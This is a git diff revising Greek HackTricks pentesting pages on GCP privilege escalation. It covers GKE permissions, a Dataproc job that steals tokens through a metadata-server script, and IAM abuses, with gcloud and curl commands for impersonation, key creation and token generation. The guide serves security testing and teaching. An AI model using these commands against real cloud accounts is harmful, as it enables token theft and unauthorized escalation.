-Αν δεν έχετε αυτή την άδεια, μπορείτε ακόμα να έχετε πρόσβαση στον κλάδο, αλλά πρέπει να **δημιουργήσετε το δικό σας αρχείο ρυθμίσεων kubectl** με τις πληροφορίες των κλάδων. Ένα νέο παραγόμενο φαίνεται έτσι:
+Αν δεν έχετε αυτή την άδεια μπορείτε ακόμα να αποκτήσετε πρόσβαση στο cluster, αλλά πρέπει να **δημιουργήσετε το δικό σας kubectl config file** με τις πληροφορίες των clusters. Ένα νεοπαραγόμενο μοιάζει έτσι:
+
+Example kubectl config file for GKE cluster
```yaml
apiVersion: v1
clusters:
@@ -44,44 +50,46 @@ expiry-key: "{.credential.token_expiry}"
token-key: "{.credential.access_token}"
name: gcp
```
+
+
### `container.roles.escalate` | `container.clusterRoles.escalate`
-**Kubernetes** από προεπιλογή **αποτρέπει** τους φορείς να μπορούν να **δημιουργήσουν** ή να **ενημερώσουν** **Roles** και **ClusterRoles** με **περισσότερες άδειες** από αυτές που έχει ο φορέας. Ωστόσο, ένας φορέας **GCP** με αυτές τις άδειες θα είναι **ικανός να δημιουργήσει/ενημερώσει Roles/ClusterRoles με περισσότερες άδειες** από αυτές που κατέχει, παρακάμπτοντας αποτελεσματικά την προστασία του Kubernetes κατά αυτής της συμπεριφοράς.
+**Kubernetes** από προεπιλογή **αποτρέπει** τις οντότητες από το να **δημιουργούν** ή να **ενημερώνουν** **Roles** και **ClusterRoles** με **περισσότερα permissions** από αυτά που έχει η οντότητα. Ωστόσο, μια **GCP** οντότητα με αυτά τα permissions θα είναι **σε θέση να δημιουργήσει/ενημερώσει Roles/ClusterRoles με περισσότερα permissions** από αυτά που κατείχε, παρακάμπτοντας έτσι την προστασία του Kubernetes ενάντια σε αυτή τη συμπεριφορά.
-**`container.roles.create`** και/ή **`container.roles.update`** Ή **`container.clusterRoles.create`** και/ή **`container.clusterRoles.update`** αντίστοιχα είναι **επίσης** **αναγκαία** για να εκτελέσετε αυτές τις ενέργειες ανύψωσης προνομίων.
+**`container.roles.create`** και/ή **`container.roles.update`** Ή **`container.clusterRoles.create`** και/ή **`container.clusterRoles.update`** αντιστοίχως είναι **επίσης** **απαραίτητα** για την εκτέλεση αυτών των ενεργειών privilege escalation.
### `container.roles.bind` | `container.clusterRoles.bind`
-**Kubernetes** από προεπιλογή **αποτρέπει** τους φορείς να μπορούν να **δημιουργήσουν** ή να **ενημερώσουν** **RoleBindings** και **ClusterRoleBindings** για να δώσουν **περισσότερες άδειες** από αυτές που έχει ο φορέας. Ωστόσο, ένας φορέας **GCP** με αυτές τις άδειες θα είναι **ικανός να δημιουργήσει/ενημερώσει RoleBindings/ClusterRoleBindings με περισσότερες άδειες** από αυτές που έχει, παρακάμπτοντας αποτελεσματικά την προστασία του Kubernetes κατά αυτής της συμπεριφοράς.
+**Kubernetes** από προεπιλογή **αποτρέπει** τις οντότητες από το να **δημιουργούν** ή να **ενημερώνουν** **RoleBindings** και **ClusterRoleBindings** για να δώσουν **περισσότερα permissions** από αυτά που έχει η οντότητα. Ωστόσο, μια **GCP** οντότητα με αυτά τα permissions θα είναι **σε θέση να δημιουργήσει/ενημερώσει RolesBindings/ClusterRolesBindings με περισσότερα permissions** από αυτά που έχει, παρακάμπτοντας έτσι την προστασία του Kubernetes ενάντια σε αυτή τη συμπεριφορά.
-**`container.roleBindings.create`** και/ή **`container.roleBindings.update`** Ή **`container.clusterRoleBindings.create`** και/ή **`container.clusterRoleBindings.update`** αντίστοιχα είναι επίσης **αναγκαία** για να εκτελέσετε αυτές τις ενέργειες ανύψωσης προνομίων.
+**`container.roleBindings.create`** και/ή **`container.roleBindings.update`** Ή **`container.clusterRoleBindings.create`** και/ή **`container.clusterRoleBindings.update`** αντιστοίχως είναι επίσης **αναγκαία** για την εκτέλεση αυτών των ενεργειών privilege escalation.
### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
-Όλες αυτές οι άδειες θα σας επιτρέψουν να **δημιουργήσετε ή να ενημερώσετε έναν πόρο** όπου μπορείτε να **ορίσετε** ένα **pod**. Ορίζοντας ένα pod μπορείτε να **καθορίσετε το SA** που θα είναι **συνδεδεμένο** και την **εικόνα** που θα είναι **εκτελούμενη**, επομένως μπορείτε να εκτελέσετε μια εικόνα που θα **εξάγει το token του SA στον διακομιστή σας** επιτρέποντάς σας να ανυψώσετε σε οποιονδήποτε λογαριασμό υπηρεσίας.\
-Για περισσότερες πληροφορίες δείτε:
+Όλα αυτά τα permissions θα σας επιτρέψουν να **δημιουργήσετε ή να ενημερώσετε ένα resource** όπου μπορείτε να **ορίσετε** ένα **pod**. Ορίζοντας ένα pod μπορείτε να **καθορίσετε το SA** που θα **συσχετιστεί** και την **image** που θα **τρέξει**, οπότε μπορείτε να τρέξετε μια image που θα **exfiltrate το token του SA στον server σας** επιτρέποντάς σας να escal-άρετε σε οποιοδήποτε service account.\
+Για περισσότερες πληροφορίες ελέγξτε:
-Καθώς βρισκόμαστε σε ένα περιβάλλον GCP, θα μπορείτε επίσης να **λάβετε το nodepool GCP SA** από την υπηρεσία **metadata** και να **ανυψώσετε προνόμια στο GCP** (κατά προεπιλογή χρησιμοποιείται το compute SA).
+Καθώς βρισκόμαστε σε περιβάλλον GCP, θα μπορείτε επίσης να **πάρετε το nodepool GCP SA** από την **metadata** υπηρεσία και να **escalate privileges in GCP** (από προεπιλογή χρησιμοποιείται το compute SA).
### `container.secrets.get` | `container.secrets.list`
-Όπως [**εξηγείται σε αυτή τη σελίδα**,](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets) με αυτές τις άδειες μπορείτε να **διαβάσετε** τα **tokens** όλων των **SAs του kubernetes**, έτσι μπορείτε να ανυψωθείτε σε αυτά.
+As [**explained in this page**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#listing-secrets) με αυτά τα permissions μπορείτε να **διαβάσετε** τα **tokens** όλων των **SAs του kubernetes**, οπότε μπορείτε να escal-άρετε σε αυτά.
### `container.pods.exec`
-Με αυτή την άδεια θα μπορείτε να **exec σε pods**, που σας δίνει **πρόσβαση** σε όλα τα **Kubernetes SAs που εκτελούνται σε pods** για να ανυψώσετε προνόμια εντός του K8s, αλλά επίσης θα μπορείτε να **κλέψετε** το **GCP Service Account** του **NodePool**, **ανυψώνοντας προνόμια στο GCP**.
+Με αυτό το permission θα μπορείτε να **exec into pods**, το οποίο σας δίνει **πρόσβαση** σε όλα τα **Kubernetes SAs που τρέχουν σε pods** για να escal-άρετε προνόμια μέσα στο K8s, αλλά επίσης θα μπορείτε να **κλέψετε** το **GCP Service Account** του **NodePool**, **escalating privileges in GCP**.
### `container.pods.portForward`
-Όπως **εξηγείται σε αυτή τη σελίδα**, με αυτές τις άδειες μπορείτε να **έχετε πρόσβαση σε τοπικές υπηρεσίες** που εκτελούνται σε **pods** που μπορεί να σας επιτρέψουν να **ανυψώσετε προνόμια στο Kubernetes** (και στο **GCP** αν με κάποιο τρόπο καταφέρετε να μιλήσετε με την υπηρεσία metadata)**.**
+As **explained in this page**, με αυτά τα permissions μπορείτε να **πρόσβαση σε local services** που τρέχουν σε **pods** και που μπορεί να σας επιτρέψουν να **escalate privileges in Kubernetes** (και στο **GCP** αν με κάποιο τρόπο καταφέρετε να μιλήσετε στην metadata service)**.**
### `container.serviceAccounts.createToken`
-Λόγω του **ονόματος** της **άδειας**, **φαίνεται ότι θα σας επιτρέψει να δημιουργήσετε tokens των K8s Service Accounts**, έτσι θα μπορείτε να **privesc σε οποιοδήποτε SA** μέσα στο Kubernetes. Ωστόσο, δεν μπόρεσα να βρω κανένα API endpoint για να το χρησιμοποιήσω, οπότε ενημερώστε με αν το βρείτε.
+Εξαιτίας του **ονόματος** του **permission**, **φαίνεται** ότι θα σας επιτρέψει να δημιουργήσετε tokens των K8s Service Accounts, οπότε θα μπορείτε να **privesc to any SA** μέσα στο Kubernetes. Ωστόσο, δεν μπόρεσα να βρω κάποιο API endpoint για να το χρησιμοποιήσω — πείτε μου αν το βρείτε.
### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
-Αυτές οι άδειες μπορεί να σας επιτρέψουν να ανυψώσετε προνόμια στο Kubernetes, αλλά πιο πιθανό είναι ότι θα μπορούσατε να τις εκμεταλλευτείτε για να **επιμείνετε στο cluster**.\
-Για περισσότερες πληροφορίες [**ακολουθήστε αυτόν τον σύνδεσμο**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller).
+Αυτά τα permissions μπορεί να σας επιτρέψουν να escal-άρετε προνόμια στο Kubernetes, αλλά πιο πιθανό είναι ότι μπορείτε να τα καταχραστείτε για να **επιμένετε (persist) στο cluster**.\
+Για περισσότερες πληροφορίες [**follow this link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#malicious-admission-controller).
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md
index 5d3287c3a..60af53061 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md
@@ -10,17 +10,19 @@
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
-Δεν μπόρεσα να αποκτήσω ένα reverse shell χρησιμοποιώντας αυτή τη μέθοδο, ωστόσο είναι δυνατό να διαρρεύσει το SA token από το endpoint μεταδεδομένων χρησιμοποιώντας τη μέθοδο που περιγράφεται παρακάτω.
+Δεν μπόρεσα να αποκτήσω reverse shell χρησιμοποιώντας αυτή τη μέθοδο, ωστόσο είναι δυνατό να leak SA token από το metadata endpoint χρησιμοποιώντας τη μέθοδο που περιγράφεται παρακάτω.
#### Βήματα για εκμετάλλευση
-- Τοποθετήστε το script εργασίας στο GCP Bucket
+- Τοποθετήστε το job script στο GCP Bucket
-- Υποβάλετε μια εργασία σε ένα Dataproc cluster.
+- Υποβάλετε ένα job σε ένα Dataproc cluster.
-- Χρησιμοποιήστε την εργασία για να αποκτήσετε πρόσβαση στον διακομιστή μεταδεδομένων.
+- Χρησιμοποιήστε το job για να αποκτήσετε πρόσβαση στον metadata server.
-- Διαρρεύστε το token του service account που χρησιμοποιείται από το cluster.
+- Leak το service account token που χρησιμοποιεί το cluster.
+
+Python script to fetch SA token from metadata server
```python
import requests
@@ -41,7 +43,9 @@ return None
if __name__ == "__main__":
fetch_metadata_token()
```
+
+Υποβολή κακόβουλης εργασίας σε Dataproc cluster
```bash
# Copy the script to the storage bucket
gsutil cp gs:///
@@ -51,4 +55,6 @@ gcloud dataproc jobs submit pyspark gs:/// \
--cluster= \
--region=
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md
index 7b128710e..edb3256f2 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md
@@ -4,7 +4,7 @@
## IAM
-Βρείτε περισσότερες πληροφορίες σχετικά με το IAM στο:
+Βρείτε περισσότερες πληροφορίες για το IAM στο:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -12,40 +12,54 @@
### `iam.roles.update` (`iam.roles.get`)
-Ένας επιτιθέμενος με τις αναφερόμενες άδειες θα είναι σε θέση να ενημερώσει έναν ρόλο που έχει ανατεθεί σε εσάς και να σας δώσει επιπλέον άδειες σε άλλους πόρους όπως:
+Ένας attacker με τα αναφερόμενα permissions θα μπορεί να ενημερώσει ένα role που σας έχει ανατεθεί και να σας δώσει επιπλέον permissions σε άλλα resources όπως:
+
+Update IAM role to add permissions
```bash
gcloud iam roles update --project --add-permissions
```
-Μπορείτε να βρείτε ένα σενάριο για την αυτοματοποίηση της **δημιουργίας, εκμετάλλευσης και καθαρισμού ενός ευάλωτου περιβάλλοντος εδώ** και ένα σενάριο python για την κατάχρηση αυτού του προνομίου [**εδώ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Για περισσότερες πληροφορίες, ελέγξτε την [**αρχική έρευνα**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
+
+
+Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε τη **creation, exploit and cleaning of a vuln environment here** και ένα python script για να abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Για περισσότερες πληροφορίες δείτε την [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
-Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα είναι σε θέση να **ζητήσει ένα διακριτικό πρόσβασης που ανήκει σε έναν Λογαριασμό Υπηρεσίας**, επομένως είναι δυνατό να ζητήσει ένα διακριτικό πρόσβασης ενός Λογαριασμού Υπηρεσίας με περισσότερα προνόμια από τα δικά μας.
+Ένας attacker με τις αναφερόμενες άδειες θα μπορεί να **request an access token that belongs to a Service Account**, οπότε είναι δυνατό να request an access token of a Service Account με περισσότερα privileges από τα δικά μας.
+
+Impersonate service account to get access token
```bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
```
-Μπορείτε να βρείτε ένα σενάριο για την αυτοματοποίηση της [**δημιουργίας, εκμετάλλευσης και καθαρισμού ενός ευάλωτου περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) και ένα σενάριο python για την κατάχρηση αυτού του προνομίου [**εδώ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Για περισσότερες πληροφορίες, ελέγξτε την [**αρχική έρευνα**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
+
+
+Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε την [**δημιουργία, exploit και καθαρισμό ενός vuln περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) και ένα python script για να καταχραστείτε αυτό το προνόμιο [**εδώ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Για περισσότερες πληροφορίες δείτε την [**πρωτότυπη έρευνα**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccountKeys.create`
-Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα είναι σε θέση να **δημιουργήσει ένα κλειδί διαχειριζόμενο από τον χρήστη για έναν Λογαριασμό Υπηρεσίας**, το οποίο θα μας επιτρέπει να έχουμε πρόσβαση στο GCP ως αυτός ο Λογαριασμός Υπηρεσίας.
+Ένας attacker με τα αναφερόμενα permissions θα μπορεί να **create a user-managed key for a Service Account**, το οποίο θα μας επιτρέψει να αποκτήσουμε πρόσβαση στο GCP ως εκείνο το Service Account.
+
+Δημιουργία service account key και πιστοποίηση
```bash
gcloud iam service-accounts keys create --iam-account /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
```
-Μπορείτε να βρείτε ένα σενάριο για την αυτοματοποίηση της [**δημιουργίας, εκμετάλλευσης και καθαρισμού ενός ευάλωτου περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) και ένα σενάριο python για την κατάχρηση αυτού του προνομίου [**εδώ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Για περισσότερες πληροφορίες, ελέγξτε την [**αρχική έρευνα**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
+
-Σημειώστε ότι **`iam.serviceAccountKeys.update` δεν θα λειτουργήσει για να τροποποιήσει το κλειδί** ενός SA, διότι για να το κάνετε αυτό απαιτούνται επίσης τα δικαιώματα `iam.serviceAccountKeys.create`.
+Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε την [**δημιουργία, exploit και καθαρισμός ενός vuln περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) και ένα python script για να καταχραστείτε αυτό το προνόμιο [**εδώ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Για περισσότερες πληροφορίες ελέγξτε την [**πρωτότυπη έρευνα**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
+
+Σημειώστε ότι **`iam.serviceAccountKeys.update` δεν θα λειτουργήσει για να τροποποιήσει το κλειδί** ενός SA, επειδή για να γίνει αυτό απαιτείται επίσης η άδεια `iam.serviceAccountKeys.create`.
### `iam.serviceAccounts.implicitDelegation`
-Εάν έχετε την **`iam.serviceAccounts.implicitDelegation`** άδεια σε έναν Λογαριασμό Υπηρεσίας που έχει την **`iam.serviceAccounts.getAccessToken`** άδεια σε έναν τρίτο Λογαριασμό Υπηρεσίας, τότε μπορείτε να χρησιμοποιήσετε την implicitDelegation για να **δημιουργήσετε ένα διακριτικό για αυτόν τον τρίτο Λογαριασμό Υπηρεσίας**. Ακολουθεί ένα διάγραμμα για να βοηθήσει στην εξήγηση.
+Αν έχετε την άδεια **`iam.serviceAccounts.implicitDelegation`** πάνω σε ένα Service Account που έχει την άδεια **`iam.serviceAccounts.getAccessToken`** σε ένα τρίτο Service Account, τότε μπορείτε να χρησιμοποιήσετε implicitDelegation για να **δημιουργήσετε ένα token για εκείνο το τρίτο Service Account**. Εδώ είναι ένα διάγραμμα για να βοηθήσει στην εξήγηση.

-Σημειώστε ότι σύμφωνα με την [**τεκμηρίωση**](https://cloud.google.com/iam/docs/understanding-service-accounts), η εκχώρηση του `gcloud` λειτουργεί μόνο για τη δημιουργία ενός διακριτικού χρησιμοποιώντας τη μέθοδο [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Έτσι, εδώ έχετε πώς να αποκτήσετε ένα διακριτικό χρησιμοποιώντας την API απευθείας:
+Σημειώστε ότι σύμφωνα με την [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), η ανάθεση του `gcloud` λειτουργεί μόνο για να δημιουργήσει ένα token χρησιμοποιώντας τη μέθοδο [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Οπότε εδώ έχετε τον τρόπο να πάρετε ένα token χρησιμοποιώντας απευθείας το API:
+
+Δημιουργία access token με delegation χρησιμοποιώντας το API
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -56,23 +70,27 @@ curl -X POST \
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
```
-Μπορείτε να βρείτε ένα σενάριο για την αυτοματοποίηση της [**δημιουργίας, εκμετάλλευσης και καθαρισμού ενός ευάλωτου περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) και ένα σενάριο python για την κατάχρηση αυτού του προνομίου [**εδώ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Για περισσότερες πληροφορίες δείτε την [**αρχική έρευνα**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
+
+
+Μπορείτε να βρείτε ένα script για την αυτοματοποίηση της [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) και ένα python script για την κατάχρηση αυτού του δικαιώματος [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Για περισσότερες πληροφορίες δείτε την [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signBlob`
-Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να **υπογράφει αυθαίρετα payloads στο GCP**. Έτσι, θα είναι δυνατό να **δημιουργήσουμε ένα μη υπογεγραμμένο JWT του SA και στη συνέχεια να το στείλουμε ως blob για να υπογραφεί το JWT** από το SA που στοχεύουμε. Για περισσότερες πληροφορίες [**διαβάστε αυτό**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
+Ένας επιτιθέμενος με τα αναφερθέντα δικαιώματα θα μπορεί να **υπογράφει αυθαίρετα payloads στο GCP**. Έτσι θα είναι δυνατό να **δημιουργήσετε ένα unsigned JWT του SA και στη συνέχεια να το στείλετε ως blob για να υπογραφεί το JWT** από το SA που στοχεύουμε. Για περισσότερες πληροφορίες [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
-Μπορείτε να βρείτε ένα σενάριο για την αυτοματοποίηση της [**δημιουργίας, εκμετάλλευσης και καθαρισμού ενός ευάλωτου περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) και ένα σενάριο python για την κατάχρηση αυτού του προνομίου [**εδώ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) και [**εδώ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Για περισσότερες πληροφορίες δείτε την [**αρχική έρευνα**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
+Μπορείτε να βρείτε ένα script για την αυτοματοποίηση της [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) και ένα python script για την κατάχρηση αυτού του δικαιώματος [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) και [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Για περισσότερες πληροφορίες δείτε την [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signJwt`
-Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να **υπογράφει καλά διαμορφωμένα JSON web tokens (JWTs)**. Η διαφορά με την προηγούμενη μέθοδο είναι ότι **αντί να κάνουμε την google να υπογράψει ένα blob που περιέχει ένα JWT, χρησιμοποιούμε τη μέθοδο signJWT που ήδη περιμένει ένα JWT**. Αυτό διευκολύνει τη χρήση αλλά μπορείτε να υπογράψετε μόνο JWT αντί για οποιαδήποτε bytes.
+Ένας επιτιθέμενος με τα αναφερθέντα δικαιώματα θα μπορεί να **υπογράφει καλά σχηματισμένα JSON web tokens (JWTs)**. Η διαφορά με την προηγούμενη μέθοδο είναι ότι **αντί να κάνουμε το google να υπογράψει ένα blob που περιέχει ένα JWT, χρησιμοποιούμε τη μέθοδο signJWT που ήδη περιμένει ένα JWT**. Αυτό το καθιστά πιο εύκολο στη χρήση αλλά μπορείτε να υπογράψετε μόνο JWT αντί για οποιαδήποτε bytes.
-Μπορείτε να βρείτε ένα σενάριο για την αυτοματοποίηση της [**δημιουργίας, εκμετάλλευσης και καθαρισμού ενός ευάλωτου περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) και ένα σενάριο python για την κατάχρηση αυτού του προνομίου [**εδώ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Για περισσότερες πληροφορίες δείτε την [**αρχική έρευνα**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
+Μπορείτε να βρείτε ένα script για την αυτοματοποίηση της [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) και ένα python script για την κατάχρηση αυτού του δικαιώματος [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Για περισσότερες πληροφορίες δείτε την [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.setIamPolicy`
-Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να **προσθέτει πολιτικές IAM σε λογαριασμούς υπηρεσιών**. Μπορείτε να το εκμεταλλευτείτε για να **παραχωρήσετε στον εαυτό σας** τα δικαιώματα που χρειάζεστε για να προσποιηθείτε τον λογαριασμό υπηρεσίας. Στο παρακάτω παράδειγμα παραχωρούμε στον εαυτό μας τον ρόλο `roles/iam.serviceAccountTokenCreator` πάνω στον ενδιαφέροντα SA:
+Ένας επιτιθέμενος με τα αναφερθέντα δικαιώματα θα μπορεί να **προσθέσει IAM policies σε service accounts**. Μπορείτε να το καταχραστείτε για να **δώσετε στον εαυτό σας** τα δικαιώματα που χρειάζεστε για να μιμηθείτε το service account. Στο παρακάτω παράδειγμα δίνουμε στον εαυτό μας το ρόλο `roles/iam.serviceAccountTokenCreator` πάνω στο ενδιαφέρον SA:
+
+Προσθήκη IAM policy binding σε service account
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
@@ -83,45 +101,55 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
```
-Μπορείτε να βρείτε ένα σενάριο για την αυτοματοποίηση της [**δημιουργίας, εκμετάλλευσης και καθαρισμού ενός ευάλωτου περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
+
+
+You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
### `iam.serviceAccounts.actAs`
-Η **άδεια iam.serviceAccounts.actAs** είναι παρόμοια με την **άδεια iam:PassRole από το AWS**. Είναι απαραίτητη για την εκτέλεση εργασιών, όπως η εκκίνηση μιας παρουσίας Compute Engine, καθώς παρέχει τη δυνατότητα να "ενσαρκώνεται" μια Υπηρεσία Λογαριασμού, διασφαλίζοντας τη διαχείριση των αδειών με ασφάλεια. Χωρίς αυτήν, οι χρήστες μπορεί να αποκτήσουν αδικαιολόγητη πρόσβαση. Επιπλέον, η εκμετάλλευση της **iam.serviceAccounts.actAs** περιλαμβάνει διάφορες μεθόδους, καθεμία από τις οποίες απαιτεί ένα σύνολο αδειών, σε αντίθεση με άλλες μεθόδους που χρειάζονται μόνο μία.
+Η **iam.serviceAccounts.actAs permission** μοιάζει με την **iam:PassRole permission from AWS**. Είναι απαραίτητη για την εκτέλεση εργασιών, όπως η εκκίνηση ενός Compute Engine instance, καθώς παρέχει τη δυνατότητα να "actAs" έναν Service Account, εξασφαλίζοντας ασφαλή διαχείριση δικαιωμάτων. Χωρίς αυτήν, χρήστες μπορεί να αποκτήσουν αθέμιτη πρόσβαση. Επιπλέον, η εκμετάλλευση της **iam.serviceAccounts.actAs** περιλαμβάνει διάφορες μεθόδους, καθεμία από τις οποίες απαιτεί ένα σύνολο αδειών, σε αντίθεση με άλλες μεθόδους που χρειάζονται μόνο μία.
-#### Ενσάρκωση λογαριασμού υπηρεσίας
+#### Service account impersonation
-Η ενσάρκωση ενός λογαριασμού υπηρεσίας μπορεί να είναι πολύ χρήσιμη για **να αποκτήσετε νέες και καλύτερες άδειες**. Υπάρχουν τρεις τρόποι με τους οποίους μπορείτε να [ενσαρκώσετε έναν άλλο λογαριασμό υπηρεσίας](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
